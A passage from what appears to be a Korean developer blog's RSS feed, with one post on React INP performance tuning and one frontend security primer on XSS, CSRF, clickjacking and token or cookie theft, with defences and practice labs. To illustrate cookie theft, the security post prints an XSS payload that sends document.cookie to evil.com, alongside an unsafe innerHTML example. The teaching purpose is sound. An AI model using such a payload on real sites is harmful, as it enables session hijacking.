&lt;p data-ke-size=&quot;size16&quot;&gt;사용자의&amp;nbsp;입력(예:&amp;nbsp;클릭,&amp;nbsp;탭,&amp;nbsp;키&amp;nbsp;입력)에&amp;nbsp;대해,&amp;nbsp;시각적인&amp;nbsp;업데이트가&amp;nbsp;브라우저에&amp;nbsp;렌더링될&amp;nbsp;때까지&amp;nbsp;걸린&amp;nbsp;시간으로&amp;nbsp;페이지&amp;nbsp;수명&amp;nbsp;동안의&amp;nbsp;여러&amp;nbsp;상호작용&amp;nbsp;중&amp;nbsp;가장&amp;nbsp;느렸던&amp;nbsp;반응&amp;nbsp;시간(최악의&amp;nbsp;경우)을&amp;nbsp;측정한다.&amp;nbsp;좋은&amp;nbsp;값은&amp;nbsp;200ms&amp;nbsp;이하,&amp;nbsp;주의가&amp;nbsp;필요한&amp;nbsp;값은&amp;nbsp;200ms~500ms,&amp;nbsp;느린&amp;nbsp;값은&amp;nbsp;500ms가&amp;nbsp;초과하는&amp;nbsp;경우다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 메인 스레드 블로킹 제거&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1-1. 무거운 계산은 Web Worker로 분리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1-2. requestIdleCallback, setTimeout(fn,&amp;nbsp;0)을 활용해 &lt;b&gt;유휴 시간(Idle&amp;nbsp;Time)에 실행&lt;/b&gt;한다.&lt;/p&gt;
&lt;pre id=&quot;code_1747189173358&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// ❌ 느린 예시
const handleClick = () =&amp;gt; {
  heavyCalculation(); // 이 함수가 오래 걸림
  setShowModal(true);
};

// ✅ 개선된 예시
// setTimeout(fn, 0): '지금 당장은 아니고, 콜 스택이 비면 다음 이벤트 루프에서 실행해줘'라는 뜻
const handleClick = () =&amp;gt; {
  setTimeout(() =&amp;gt; {
    heavyCalculation(); // 이벤트 이후, UI가 그려진 뒤 실행
  }, 0);
  setShowModal(true);
};&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1747189971328&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;requestIdleCallback(() =&amp;gt; { doBackgroundAnalytics() });

// 브라우저가 idle 상태가 되지 않으면 실행되지 않을 수도 있다.
// 모바일/저사양 디바이스에서 계속 바쁘거나 사용자가 페이지를 빠르게 떠나면 실행되지 않을 수 있다.
// 따라서 예외 없이 실행하기 위해서는 timeout 지정이 필요하다.
requestIdleCallback(callbackFn, { timeout: 1000 });

// 로깅, 히트맵, 분석 등 사용자 체감 없는 작업
useIdleCallbackEffect(() =&amp;gt; {
  sendAnalytics({ page: location.pathname });
});

// 무거운 preload 작업
useIdleCallbackEffect(() =&amp;gt; {
  sendAnalytics({ page: location.pathname });
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 렌더링 최적화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;불필요한 리렌더를 줄인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2-1. React.memo, useMemo, useCallback을 활용한다.&lt;/p&gt;
&lt;pre id=&quot;code_1747189282367&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// ❌ 모든 버튼 클릭 시 전체 리스트 리렌더
const ListItem = ({ item, onClick }) =&amp;gt; {
  return &amp;lt;div onClick={() =&amp;gt; onClick(item)}&amp;gt;{item.name}&amp;lt;/div&amp;gt;;
};

// ✅ memo로 불필요한 리렌더 방지
const ListItem = React.memo(({ item, onClick }) =&amp;gt; {
  return &amp;lt;div onClick={() =&amp;gt; onClick(item)}&amp;gt;{item.name}&amp;lt;/div&amp;gt;;
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2-1. Recoil/Zustand 같은 상태관리도 부분 구독하여(selector, slice 등) 쪼갠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 입력 이벤트 핸들러 최적화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lodash.debounce, lodash.throttle을 활용하여 검색, 오토컴플릿, 스크롤 이벤트에 적용한다.&lt;/p&gt;
&lt;pre id=&quot;code_1747189387670&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import debounce from 'lodash.debounce';

const handleInput = debounce((value) =&amp;gt; {
  fetchSuggestions(value);
}, 300);

&amp;lt;input onChange={(e) =&amp;gt; handleInput(e.target.value)} /&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 스타일 계산 및 레이아웃 시점 늦추기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스타일이나 DOM 변경을 바로 트리거하면 브라우저가 바로 렌더하려고 하기 때문에 &lt;b&gt;레이아웃 스로틀을 적용&lt;/b&gt;해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;requestAnimationFrame이나 setTimeout으로 늦춘다.&lt;/p&gt;
&lt;pre id=&quot;code_1747189460777&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// ❌ 바로 style 바꾸면 INP 지연
element.style.height = '500px';

// ✅ requestAnimationFrame으로 프레임 뒤로 미룸
requestAnimationFrame(() =&amp;gt; {
  element.style.height = '500px';
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. 서드파티 스크립트 최적화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;챗봇, 광고, 추적기 등 외부 스크립트가 메인 스레드를 점유하는 문제가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5-1. 필요할 때만 lazy load&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5-2. async, defer 속성 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5-3. 라이브러리 활용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Partytown: 서드파티&amp;nbsp;스크립트를&amp;nbsp;Web&amp;nbsp;Worker로&amp;nbsp;옮겨주는&amp;nbsp;툴&amp;nbsp;(메인&amp;nbsp;스레드&amp;nbsp;차단&amp;nbsp;방지)&amp;nbsp;예:&amp;nbsp;구글&amp;nbsp;애널리틱스,&amp;nbsp;채팅&amp;nbsp;위젯&amp;nbsp;등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. iframe: 외부 위젯이나 광고가 메인 DOM 렌더링을 막지 않도록 분리하고 완전히 격리된 환경 제공 (스크립트 충돌 방지)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. IntersectionObserver: 특정&amp;nbsp;요소가&amp;nbsp;화면에&amp;nbsp;보일&amp;nbsp;때만&amp;nbsp;로딩되게&amp;nbsp;함&amp;nbsp;(이미지,&amp;nbsp;컴포넌트&amp;nbsp;등)&lt;/p&gt;
&lt;pre id=&quot;code_1747190090742&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const observer = new IntersectionObserver((entries) =&amp;gt; {
  entries.forEach((entry) =&amp;gt; {
    if (entry.isIntersecting) {
      loadImage(entry.target);
    }
  });
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6. 클릭 응답 직후 paint 타이밍 최적화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React 18+ 부터 제공하는 useTransition을 활용하여 비동기 UI 작업을 낮은 우선순위로 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React 입장에서는 state가 바뀌면 렌더링이 발생하므로, setState 계열 함수가 곧 UI 작업이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 체감이 중요한 상태(state) 변경은 빠르게하고 그 외의 변경은 지연시켜 자연스럽게 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1747190128102&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { useTransition } from 'react';

const [isPending, startTransition] = useTransition();

const handleClick = () =&amp;gt; {
  startTransition(() =&amp;gt; {
    // 1. 검색 필터링
    // 2. 큰 리스트 변경
    // 3. 대량 컴포넌트 변경 ex) 이미지 갤러리, 카드 UI 등
    // 4. 리치 에디더 상태 갱신 ex) Draft.js, Slate 같은 에디터 값 변경
    // 5. 무거운 계산 결과 UI에 반영 ex) 통계 게산 후 차트 렌더링 등
    setHeavyContent(data);
  });
};&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1747190490709&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { useState, useTransition } from 'react';

const bigList = Array.from({ length: 10000 }, (_, i) =&amp;gt; `Item ${i + 1}`);

export default function SearchComponent() {
  const [query, setQuery] = useState('');
  const [results, setResults] = useState&amp;lt;string[]&amp;gt;([]);
  const [isPending, startTransition] = useTransition();

  const handleChange = (e: React.ChangeEvent&amp;lt;HTMLInputElement&amp;gt;) =&amp;gt; {
    const value = e.target.value;
    setQuery(value); // ✅ 즉각적인 UI 응답 (input 값 변경)

    startTransition(() =&amp;gt; {
      //   무거운 작업 (많은 데이터를 필터링해서 렌더링)
      const filtered = bigList.filter(item =&amp;gt; item.includes(value));
      setResults(filtered); //   이게 바로 setHeavyContent
    });
  };

  return (
    &amp;lt;&amp;gt;
      &amp;lt;input value={query} onChange={handleChange} /&amp;gt;
      {isPending &amp;amp;&amp;amp; &amp;lt;div&amp;gt;필터링 중...&amp;lt;/div&amp;gt;}
      &amp;lt;ul&amp;gt;
        {results.map((item, i) =&amp;gt; (
          &amp;lt;li key={i}&amp;gt;{item}&amp;lt;/li&amp;gt;
        ))}
      &amp;lt;/ul&amp;gt;
    &amp;lt;/&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7. 큰 DOM 업데이트는 가상화 (Virtualization)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;react-window, react-virtualized를 사용한다. 리스트나 테이블 같은 대량의 DOM 노드를 가상화(Virtualization) 하여 렌더링 성능을 최적화 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7-1. react-window&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경량화된 최신 가상 리스트 라이브러리로 스크롤 영역에 보이는 아이템만 렌더링 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1747190207754&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { FixedSizeList as List } from 'react-window';

&amp;lt;List
  height={400}
  width={300}
  itemCount={1000}
  itemSize={35}
&amp;gt;
  {({ index, style }) =&amp;gt; (
    &amp;lt;div style={style}&amp;gt;Row {index}&amp;lt;/div&amp;gt;
  )}
&amp;lt;/List&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7-2. react-virtualized&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리드, 테이블 등 좀 더 다양한 UI를 지원한다. 복잡한 경우에는 이를 더 잘 활용할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1747190254207&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { List } from 'react-virtualized';

&amp;lt;List
  width={300}
  height={300}
  rowCount={1000}
  rowHeight={20}
  rowRenderer={({ index, key, style }) =&amp;gt; (
    &amp;lt;div key={key} style={style}&amp;gt;Row {index}&amp;lt;/div&amp;gt;
  )}
/&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/단어들</category>
      <author>레오나르도 다빈츠</author>
      <guid isPermaLink="true">https://be-a-weapon.tistory.com/719</guid>
      <comments>https://be-a-weapon.tistory.com/entry/LCP-CLS%EB%9E%80#entry719comment</comments>
      <pubDate>Wed, 14 May 2025 11:44:28 +0900</pubDate>
    </item>
    <item>
      <title>웹 보안 강화하기 / XSS 실습환경</title>
      <link>https://be-a-weapon.tistory.com/entry/%EC%9B%B9-%EB%B3%B4%EC%95%88-%EA%B0%95%ED%99%94%ED%95%98%EA%B8%B0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS, CSRF 등 프론트엔드 취약점을 악용한 공격이 증가하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;콘텐츠 보안 정책(CSP), 쿠키 보안 설정, 정기적인 보안 감사 등의 보안 강화조치가 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. XSS (Cross-Site Scripting)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;악성 스크립트가 그대로 실행되어, 브라우저에서 악성 코드가 실행되는 공격.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방법:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;innerHTML을 사용하지 않고 textContent, innerText를 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. CSRF (Cross-Site Request Forgery)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 로그인된 상태에서 악성 사이트가 자동으로 요청을 보내도록 유도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;방법:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) CSRF 토큰을 사용하여 각 요청에만 유효한 토큰을 만들어서 제출 시 검증한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) SameSite 쿠키 설정: 외부 사이트에서 쿠키를 보내지 못하게 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) Referer 검증: 요청의 출처가 허용된 도메인인지 서버에서 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. Clickjacking&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 투명한 iframe에 가려진 버튼을 클릭하게 유도해서 의도치 않은 동작을 유발한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방법:&lt;br /&gt;1) X-Frame-Options: DENY 설정하여 iframe으로 페이지 임베딩 차단&lt;br /&gt;2) Content-Security-Policy: frame-ancestors 'none' 설정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4. JWT 탈취 및 세션 탈취&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JWT를 로컬스토리지에 저장하면 XSS로 쉽게 탈취 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;방법:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) HttpOnly 쿠키에 JWT 저장&lt;/p&gt;
&lt;pre id=&quot;code_1747125049167&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Set-Cookie: accessToken=eyJ...; HttpOnly; Secure; SameSite=Strict&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) Access/Refresh Token 분리 전략&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;짧은 만료시간의 Access Token과 Refresh Token의 분리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 토큰 만료 및 재발급 정책: 토큰 탈취 시 피해 최소화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;5. 쿠키 탈취&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿠키 자체를 훔쳐서 사용자의 인증 정보를 도용한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방법:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;httpOnly가 있으면 document.cookie에서 보이지 않고 유출 자체가 원천 차단된다.&lt;/p&gt;
&lt;pre id=&quot;code_1747126359744&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예시:&lt;/p&gt;
&lt;pre id=&quot;code_1747126359744&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;// 서버에서 받아온 댓글을 그대로 innerHTML로 렌더링
commentBox.innerHTML = `&amp;lt;p&amp;gt;${comment}&amp;lt;/p&amp;gt;`;

// 공격자가 댓글에 이렇게 입력한다.
&amp;lt;script&amp;gt;fetch('https://evil.com/steal?cookie=' + document.cookie)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;document.cookie에서 수집 될 수 있는 정보는 다음과 같다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1) document.cookie = &quot;theme=dark&quot;; // 취향 노출&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2) document.cookie&amp;nbsp;=&amp;nbsp;&quot;sessionId=abc123&quot;;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3) document.cookie = &quot;email=user@example.com&quot;; // ⚠️ 비추천&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4) document.cookie = &quot;accessToken=eyJhbGciOiJIUzI1NiIsInR...&quot;; // ⚠️ 매우 위험&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-end=&quot;701&quot; data-start=&quot;669&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;1. Google 제공 XSS Game (영문)&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;  &lt;a href=&quot;https://xss-game.appspot.com&quot;&gt;https://xss-game.appspot.com&lt;/a&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;831&quot; data-start=&quot;767&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;797&quot; data-start=&quot;767&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;단계별로 다양한 XSS 공격을 실습해볼 수 있어요.&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;831&quot; data-start=&quot;798&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;JS 콘솔을 열고 공격 코드 작성해보는 연습이 가능해요.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-end=&quot;878&quot; data-start=&quot;838&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-end=&quot;878&quot; data-start=&quot;838&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;2. PortSwigger XSS Lab (영문, 더 전문적)&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-end=&quot;1000&quot; data-start=&quot;879&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;  &lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting&quot;&gt;https://portswigger.net/web-security/cross-site-scripting&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1077&quot; data-start=&quot;1002&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1025&quot; data-start=&quot;1002&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;XSS가 발생하는 다양한 웹 구조 실습&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;1077&quot; data-start=&quot;1026&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Stored XSS, Reflected XSS, DOM-based XSS 모두 체험 가능&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-end=&quot;1125&quot; data-start=&quot;1084&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-end=&quot;1125&quot; data-start=&quot;1084&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;3. OWASP Juice Shop (로컬 설치형, 한글 가능)&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif; color: #333333; text-align: start;&quot;&gt; &lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;https://owasp.org/www-project-juice-shop/&quot;&gt;https://owasp.org/www-project-juice-shop/&lt;/a&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1186&quot; data-start=&quot;1126&quot; data-ke-list-type=&quot;disc&quot;&gt;
